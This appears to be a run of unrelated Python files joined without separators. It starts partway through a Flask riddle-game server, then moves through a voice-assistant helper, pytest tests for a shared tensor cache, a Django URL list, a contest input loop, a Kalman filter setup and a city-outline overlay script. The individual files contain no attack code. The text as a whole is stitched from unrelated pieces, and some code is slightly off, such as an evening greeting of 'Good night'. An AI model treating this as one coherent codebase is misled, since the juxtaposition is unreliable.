        current_app.logger.info("User is not allowed")
        return user_not_allowed(None)
    return None  # Proceed as usual

def entry_point(func):
    """Decorator for the riddle entry points.

    Take cares of marking a riddle as solved and adding user score. The entry
    point shall return a dictionary with these optional keys:

     - content: the content to display
     - redirect: url of the page to be redirected with a 303
     - score: how many points to assign the user
     - answer: None, 'fail' or 'pass' depending on the answer outcome

    At least one of content and redirect must be provided, but redirect has the
    precedence over the content rendering.
    answer can be None, meaning that the page rendering carries no info about
    user answer, in this case user progress nor score is updated.
    score defaults to 1 when answer is pass and 0 when fail.
    """
    @functools.wraps(func)
    def func_(*args, **kwargs):
        accessed = request.path[1:]

        # No pass/fail flags by default
        pf_flags = None
        target = None

        # Functions must return a dictionary
        resp = func(*args, **kwargs)
        answer_given = 'answer' in resp
        if answer_given:
            # An answer was given, get pass/fail flags
            if resp['answer'] in ['pass', True, 1]:
                if hasattr(func, 'on_success'):
                    target, score = getattr(func, 'on_success')
                else:
                    score = 1
            elif resp['answer'] in ['fail', False, 0]:
                if hasattr(func, 'on_failure'):
                    target, score = getattr(func, 'on_failure')
                else:
                    score = 0
            else:
                raise ValueError("Answer should be pass or fail")

        # Overrides
        if 'score' in resp:
            score = resp['score']
        if 'redirect' in resp:
            target = resp['redirect']

        # If answer was given, save progress
        if answer_given:
            # There are other levels that are set passed at the same time
            force = getattr(func, 'twins', None) is not None
            if force:
                for twin in getattr(func, 'twins'):
                    print("Setting twin level as solved", accessed)
                    utils.update_user_progress(session['user_id'], twin, 0)

            print("Setting level as solved", accessed, score)
            routes = get_routes()
            if '/'+accessed in routes:
                accessed = get_routes()['/'+accessed]
            utils.update_user_progress(session['user_id'], accessed, score, force_score=True)

        # Redirect if necessary
        if target:
            return redirect(target, code=303)
        return resp['content']

    return func_

def create_app():
    app = Flask(__name__, static_folder=None)
    app.config.from_envvar('RIDDLE_CONFIG')

    app.static_folder = app.config.get('STATIC_PATH', 'static')
    app.add_url_rule(
        f'/static/<path:filename>',
        endpoint='static',
        view_func=app.send_static_file)

    # Register default error handlers
    # TODO custom error handlers shall be in riddle.game.__init__
    app.register_error_handler(404, page_not_found)

    app.teardown_appcontext(database.close_connection)
    app.cli.add_command(cli.init_db)
    app.cli.add_command(cli.write_stega_image)
    app.cli.add_command(cli.populate_longest_path)

    app.before_request(level_access_verification)

    level_map = {}
    game_path = app.config.get('GAME_PATH')
    if game_path is not None:
        sys.path.append(game_path)
    else:
        game_path = pathlib.Path(__file__).parent
        app.config['GAME_PATH'] = game_path
    root, level_files = utils.get_level_files(game_path)

    for n in level_files:
        try:
            if utils.is_dunder(n):
                # Dunder files are special, TODO
                app.logger.warning(f"Found dunder {n}")
                continue
            # Regular files are levels to be registered
            path, mod_name = utils.get_level_pathname(n, root)
            app.logger.debug(f"Processing riddle file {path}")
            mod = importlib.import_module('.' + mod_name, 'riddle.game')
            mod.entry.is_entry_point = True  # Mark this as entry point
            # Each entry point might have multiple associated rules
            for rule, options in utils.get_level_routes(path, mod.entry):
                options['view_func'] = entry_point(mod.entry)
                app.logger.info(f"Registering module {mod_name} with route {rule}")
                app.add_url_rule(rule, **options)
                level_map.setdefault(str(path), []).append(rule)
        except AttributeError:
            app.logger.warning(f"Riddle {n} is missing entry point.")
        except Exception as e:
            app.logger.exception(f"Unable to load module {n}: {e}")
    app.config['level_map'] = level_map
    return app

if __name__ == '__main__':
    create_app().run(port=5001, debug=True, use_debugger=False, use_reloader=False, passthrough_errors=True)


import datetime
import time
import speech_recognition as sr
import pyttsx3
import toggleSilentMode
import winsound

def speak(audio, rate=120):
    if toggleSilentMode.is_speaking:
        engine = pyttsx3.init()
        engine.setProperty('rate', rate)
        engine.say(audio)
        engine.runAndWait()

def wishMe():
    now = datetime.datetime.now()
    hour = now.hour
    minute = now.minute
    day = now.day
    month = now.month
    year = now.year
    if hour >= 0 and hour < 12:
        greet = "Good morning sir."
    elif hour >= 12 and hour < 18:
        greet = "Good afternoon sir."
    elif hour >= 18 and hour < 24:
        greet = "Good night sir."
    time = f"{hour}:{minute}"
    date = f"{month}/{year}"
    print(f"{greet} The time is {time} and the date is {date}. Assistant toaster at your command.")
    speak(f"{greet} The time is {time} and the date is {date}. Assistant toaster at your command.")

    speak(greet)
    print(greet)
    print(f"Time: {time}")
    print(f"Date: {date}")

def goodbye():
    speak("Okay. Good bye sir.")

def get_date():
    current_time = datetime.datetime.now()
    time_string = current_time.strftime("%I:%M %p")
    date_string = current_time.strftime("%A, %B %d")
    speak(f"The time is {time_string} on {date_string}")

def set_timer(duration):
    print(f"Timer set for {duration} minutes.")
    time.sleep(duration * 60)
    winsound.PlaySound("SystemExclamation", winsound.SND_ALIAS)
    print("Timer is done.")
    speak("Timer is done.")


import multiprocessing as mp

import numpy as np
import pytest
import torch

from stocaching import SharedCache

BYTES_PER_GIB = 1024**3

CACHE_SIZE_GIB = 1
DATASET_SIZE_GIB = 2
DATA_DIMS = (3, 32, 32)
DTYPE = torch.uint8

DATASET_LEN = (
    DATASET_SIZE_GIB
    * BYTES_PER_GIB
    // (DATA_DIMS[0] * DATA_DIMS[1] * DATA_DIMS[2] * DTYPE.itemsize)
)

@pytest.fixture(scope="module")
def cache() -> SharedCache:
    return SharedCache(
        CACHE_SIZE_GIB,
        DATASET_LEN,
        DATA_DIMS,
        dtype=DTYPE,
    )

def test_array_property(cache: SharedCache):
    cache_array = cache.array
    assert isinstance(cache_array, torch.Tensor)
    assert cache_array.shape == (len(cache),) + DATA_DIMS
    assert cache_array.dtype == DTYPE

def test_aux_array_property(cache: SharedCache):
    aux_array = cache.aux_array
    assert isinstance(aux_array, torch.Tensor)
    assert aux_array.shape == (DATASET_LEN,)
    assert aux_array.dtype == DTYPE

def test_cache_size(cache: SharedCache):
    cache_array = cache.array
    aux_array = cache.aux_array

    cache_bytes = np.prod(cache_array.shape) * cache_array.dtype.itemsize
    aux_bytes = np.prod(aux_array.shape) * aux_array.dtype.itemsize

    assert cache_bytes + aux_bytes <= CACHE_SIZE_GIB * BYTES_PER_GIB
    assert len(cache_array) == (CACHE_SIZE_GIB * BYTES_PER_GIB - aux_bytes) // (
        np.prod(DATA_DIMS) * DTYPE.itemsize
    )

def test_set_slot(cache: SharedCache):
    # set a random slot within bounds of the cache
    cache_len = len(cache)
    idx_to_set = int(torch.randint(0, cache_len, (1,)).item())
    value = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)

    cache.set_slot(idx_to_set, value, allow_oob_idx=False, allow_overwrite=False)
    assert torch.all(cache[idx_to_set] == value)

    value2 = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)
    cache.set_slot(idx_to_set, value2, allow_overwrite=True)
    assert torch.all(cache[idx_to_set] == value2)

    value3 = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)
    with pytest.raises(RuntimeError):
        cache.set_slot(idx_to_set, value3, allow_overwrite=False)

    # set a random slot outside the bounds of the cache
    ds_len = len(cache.aux_array)
    if ds_len != cache_len:
        idx_to_set = int(torch.randint(cache_len, ds_len, (1,)).item())
        value4 = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)

        with pytest.raises(IndexError):
            cache.set_slot(idx_to_set, value4, allow_oob_idx=False)

        cache.set_slot(idx_to_set, value4, allow_oob_idx=True)

    # try to set a slot outside the bounds of the dataset
    # note how it should raise an error even if allow_oob_idx=True
    idx = ds_len + 1
    value5 = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)
    with pytest.raises(IndexError):
        cache.set_slot(idx, value5, allow_oob_idx=True)

def test_get_slot(cache: SharedCache):
    # get a random slot within bounds of the cache
    cache_len = len(cache)
    idx_to_get = int(torch.randint(0, cache_len, (1,)).item())

    with pytest.raises(RuntimeError):
        _ = cache.get_slot(idx_to_get, allow_oob_idx=False, allow_empty_slot=False)

    val = cache.get_slot(idx_to_get, allow_oob_idx=False, allow_empty_slot=True)
    assert val is None

    set_val = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)
    cache.set_slot(idx_to_get, set_val, allow_overwrite=False)
    val = cache.get_slot(idx_to_get, allow_oob_idx=False, allow_empty_slot=False)
    assert torch.all(val == set_val)

    # get a random slot outside the bounds of the cache,
    # but within the bounds of the dataset
    ds_len = len(cache.aux_array)
    if ds_len != cache_len:
        idx_to_get = int(torch.randint(cache_len, ds_len, (1,)).item())
        with pytest.raises(IndexError):
            _ = cache.get_slot(idx_to_get, allow_oob_idx=False)
        val = cache.get_slot(idx_to_get, allow_oob_idx=True)
        assert val is None

    # try to get a slot outside the bounds of the dataset
    # note how it should raise an error even if allow_oob_idx=True
    idx_to_get = ds_len + 1
    with pytest.raises(IndexError):
        _ = cache.get_slot(idx_to_get)

def test_clear_slots(cache: SharedCache):
    cache_len = len(cache)
    idx_to_set = int(torch.randint(0, cache_len, (1,)).item())

    value = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)
    cache.set_slot(idx_to_set, value, allow_oob_idx=False, allow_overwrite=False)
    assert torch.all(cache[idx_to_set] == value)

    value2 = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)
    with pytest.raises(RuntimeError):
        cache.set_slot(idx_to_set, value2, allow_overwrite=False)

    cache.clear()

    with pytest.raises(RuntimeError):
        _ = cache.get_slot(idx_to_set, allow_oob_idx=False, allow_empty_slot=False)

    val = cache.get_slot(idx_to_set, allow_oob_idx=False, allow_empty_slot=True)
    assert val is None

    cache.set_slot(idx_to_set, value2, allow_overwrite=False)
    assert torch.all(cache[idx_to_set] == value2)

@pytest.mark.skip(reason="Not a test, just a helper")
def set_slot(cache: SharedCache, idx: int, value: torch.Tensor):
    cache.set_slot(idx, value, allow_overwrite=True, allow_oob_idx=False)

@pytest.mark.skip(reason="Not a test, just a helper")
def get_slot(cache: SharedCache, idx: int):
    return cache.get_slot(idx, allow_oob_idx=False, allow_empty_slot=False)

def test_slots_multiprocess(cache: SharedCache):
    cache_len = len(cache)
    write_idx_1 = int(torch.randint(0, cache_len, (1,)).item())
    write_idx_2 = int(torch.randint(0, cache_len, (1,)).item())
    write_value_1 = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)
    write_value_2 = torch.randint(0, 255, DATA_DIMS, dtype=DTYPE)

    with mp.Pool(2) as p:
        _ = p.starmap(
            set_slot,
            [
                (cache, write_idx_1, write_value_1),
                (cache, write_idx_2, write_value_2),
            ],
        )

    with mp.Pool(2) as p:
        read_value_1, read_value_2 = p.starmap(
            get_slot, [(cache, write_idx_1), (cache, write_idx_2)]
        )

    assert torch.all(read_value_1 == write_value_1)
    assert torch.all(read_value_2 == write_value_2)


from django.urls import path, include
from. import views

urlpatterns = [
    path('', views.index),
    path('register', views.register),
    path('login', views.login),
    path('welcome', views.welcome),
    path('logout', views.logout),
    path('create_event', views.create_event),
    path('partial/<int:id>', views.partial),
    path('one_event/<int:id>', views.one_event),
    path('edit/<int:id>', views.edit),
    path('add_like/<int:id>', views.add_like),
    path('delete_event/<int:id>', views.delete_event),

]


out = []
push_out = out.append
while True:
    sheet = []
    push = sheet.append
    try:
        a = int(input())
    except EOFError:
        break
    for _ in range(a):
        s = input().split()
        del s[0]
        del s[0]
        push(set(s))
    k = input()
    for i, x in enumerate(sheet, 1):
        if k in x:
            push_out(i)
            break
print(*out, sep='\n')


from kalman import *

# Time step
deltat = ProcessVariable("deltat", 0, 0, 0, "sec")

# Position and pressure state
xe = ProcessVariable("xe", 0, 0, 0, "usteps")
xs = ProcessVariable("xs", 0, 20, 0.15, "usteps")
xs_in = ProcessVariable("xs_in", 0, 0, 0.15, "usteps")
dxsdt = ProcessVariable("dxsdt", 0, 20, 0.5, "usteps/sec", updateWeight=0.5)
Ph = ProcessVariable("Ph", 1, 30, 0.1, "Pa")
Ph0 = ProcessVariable("Ph0", 2500, 100, 0.1, "Pa")
Ph_in = ProcessVariable("Ph_in", 0, 0, 3, "Pa")

# Model Variables
xvars = [xs, dxsdt, Ph, Ph0, ]
uvars = []
zvars = [xs_in, Ph_in, ]
generator = KalmanFilterGenerator(xvars, uvars, zvars, deltat)

# Model state equations
generator.addStateTransitionFunc(xs, xs + dxsdt * deltat)
generator.addObservationFunc(xs_in, xs)
generator.addParameter("alpha", 2.5)
generator.addParameter("beta", 5.25)
generator.addParameter("kappa", 2)


import geopandas
import urllib
import shapely
import matplotlib.pyplot as plt
from math import sin, cos, sqrt, atan2, radians
import json
from PIL import Image
import os

def getDistance(lat1, lon1, lat2, lon2):
    R = 6373.0
    lat1 = radians(lat1)
    lon1 = radians(lon1)
    lat2 = radians(lat2)
    lon2 = radians(lon2)

    dlon = lon2 - lon1
    dlat = lat2 - lat1

    a = sin(dlat / 2)**2 + cos(lat1) * cos(lat2) * sin(dlon / 2)**2
    c = 2 * atan2(sqrt(a), sqrt(1 - a))

    distance = R * c
    return distance

def getCitySize(cityBounds):
    lat1, lon1, lat2, lon2 = cityBounds
    return getDistance(lat1, lon1, lat2, lon2)

def getCityOutline(query: str):
    openStreetMap_base_url = "https://nominatim.openstreetmap.org/search"
    url = openStreetMap_base_url + '?' + urllib.parse.urlencode({
        "q": query,
        "format": "json",
        "polygon_geojson": 1
    })

    # filename should not have things like "," or whitespaces
    fileName = query.lower().replace(", ", "_").replace(",", "_")
    # If json for that query already exists --> get it
    if os.path.exists(f"cache/{fileName}.json"):
        with open(f"cache/{fileName}.json", "r") as f:
            responseJson = json.loads(f.read())
    # else get it from the web
    else:
        response = urllib.request.urlopen(url).read()
        responseJson = json.loads(response)
        # save file
        os.makedirs("cache", exist_ok=True)
        with open(f"cache/{fileName}.json", "w") as f:
            json.dump(responseJson, f)

    # find first multipolygon/polygon result (most likely the correct one)
    for shape in responseJson:
        # Included this try if shape has no geojson. Now just goes to next entry
        try:
            if isinstance(shapely.geometry.shape(shape["geojson"]), shapely.geometry.MultiPolygon):
                cityShape = shapely.geometry.shape(shape["geojson"])
                lat1, long1, lat2, long2 = cityShape.bounds
                bounds = [lat1, long1, lat2, long2]
                # check if size is way too big or too small. If so --> kick out
                size = getCitySize(bounds)
                if size > 200 or size < 5:
                    continue
                cityGDF = geopandas.GeoDataFrame({
                    "geometry": cityShape
                })
                return cityGDF, bounds
            elif isinstance(shapely.geometry.shape(shape["geojson"]), shapely.geometry.Polygon):
                cityShape = shapely.geometry.shape(shape["geojson"])
                lat1, long1, lat2, long2 = cityShape.bounds
                bounds = [lat1, long1, lat2, long2]
                # check if size is way too big or too small. If so --> kick out
                size = getCitySize(bounds)
                if size > 200 or size < 5:
                    continue
                cityGDF = geopandas.GeoDataFrame({
                    "geometry": cityShape
                }, index=[0])
                return cityGDF, bounds
        except:
            continue
    # If nothing found return None
    return None, None

def overlayCities(city1, size1, city2, size2):
    if size1 > size2:
        bigCity = city1
        bigSize = size1
        smallCity = city2
        smallSize = size2
    else:
        bigCity = city2
        bigSize = size2
        smallCity = city1
        smallSize = size1
    # Save the cities as images
    bigCity.plot(color="red")
    plt.axis("off")
    plt.savefig("static/images/BigCity.png", transparent=True)
    plt.close()
    smallCity.plot(alpha=0.7)
    plt.axis("off")
    plt.savefig("static/images/SmallCity.png", transparent=True)
    plt.close()
    # Load images with Pillow
    bigCityIm = Image.open("static/images/BigCity.png")
    smallCityIm = Image.open("static/images/SmallCity.png")
    oldWidth, oldHeight = smallCityIm.size
    newWidth = int(oldWidth * smallSize / bigSize)
    newHeight = int(oldHeight * smallSize / bigSize)
    # Scale down the smaller city
    smallCityImScaled = smallCityIm.resize((newWidth, newHeight))
    # Find center of bigger city
    bigCityWidth, bigCityHeight = bigCityIm.size
    bigCenterW = int(bigCityWidth / 2)
    bigCenterH = int(bigCityHeight / 2)
    topLeftX = bigCenterW - int(newWidth / 2)
    topLeftY = bigCenterH - int(newHeight / 2)
    botRightX = bigCenterW + (newWidth - int(newWidth / 2))
    botRightY = bigCenterH + (newHeight - int(newHeight / 2))
    # Paste the small city onto the bigger one (the mask key-word reserves the transparency of the png)
    bigCityIm.paste(smallCityImScaled, (topLeftX, topLeftY, botRightX, botRightY), mask=smallCityImScaled)
    bigCityIm.save("static/images/Overlay.png", "png")
    #     bigCityIm.show()
    return bigCityIm